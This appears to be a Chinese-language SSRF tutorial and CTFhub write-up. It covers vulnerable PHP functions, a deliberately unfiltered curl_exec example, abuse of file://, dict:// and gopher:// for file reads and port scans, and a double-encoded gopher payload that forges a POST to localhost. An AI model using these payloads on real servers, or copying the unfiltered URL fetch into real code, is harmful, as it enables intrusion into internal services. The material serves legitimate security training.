SSRF从入门到精通

  1. 漏洞函数
  2. 伪协议
  3. 利用手法
  4. CTFhub例题
    1. 内网访问
    2. POST请求

漏洞函数

curl_exec()
file_get_contents() basectf有相关题目
fsockopen()

//示例代码 index.php
<?php
error_reporting(0);
if(!isset($_REQUEST['url'])) {
    header("Location: /?url=_");
    exit;
}
$url = $_REQUEST['url'];
$domain = parse_url($url,PHP_URL_HOST);

//可能存在的过滤代码

//curl 会话初始化
$ch = curl_init();
//设置 cURL要访问的 URL
curl_setopt($ch,CURLOPT_URL,$url);
//设置是否返回响应头,0表示不返回
curl_setopt($ch,CURLOPT_HEADER,0);
//执行 cURL 请求
curl_exec($ch);
//关闭 cURL资源,并释放系统资源
curl_close($ch);
?>

伪协议

伪协议:能够达到协议级的功能,但并不属于协议

FILE协议:访问本地计算机中的文件 file://文件绝对路径和文件名
DICT协议:在线网络字典协议 dict://
HTTP协议:超文本传输协议 http://
Gopher协议:分发、搜索文档的协议 gopher://IP:PORT/_<gopher-path?
除此之外还有:SFTP协议、TFTP协议、LDAP协议、SMTP协议

file://文件绝对路径和文件名 -> 读取本地敏感文件
dict:?/ -> 端口扫描
http:// -> 目录爆破/GET请求
gopher://IP:PORT/_<gopher-path> -> GET、POST请求

利用手法

命令执行
SQL注入
文件上传
MySQL、redis未授权利用
FastCGI
盲SSRF

关键问题:
1、GET or POST
2、URL编码问题 (有时候需要经过两次甚至三次URL编码)
3、Bypass

CTFhub例题

内网访问

直接把url输一下,猜测flag就在根目录即可

POST请求

/var/www/html/flag.php源码
<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
/flag.php 源码
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=2702698d7735f45584b123d6b21cbb53-->
</form>
POST /flag.php HTTP/1.1 
Host: 127.0.0.1 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 36

key=2702698d7735f45584b123d6b21cbb53

使用gopher协议来构造post请求,具体格式:

gopher://ip:port/_METHOD /file HTTP/1.1 http-header&body

最终payload:?url=gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%250d%250aHost%3A%20127.0.0.1%250d%250aUser-Agent%3A%20curl%250d%250aAccept%3A%20%2A/%2A%250d%250aContent-Type%3A%20application/x-www-form-urlencoded%250d%250aContent-Length%3A%2036%250d%250a%250d%250akey%3D2702698d7735f45584b123d6b21cbb53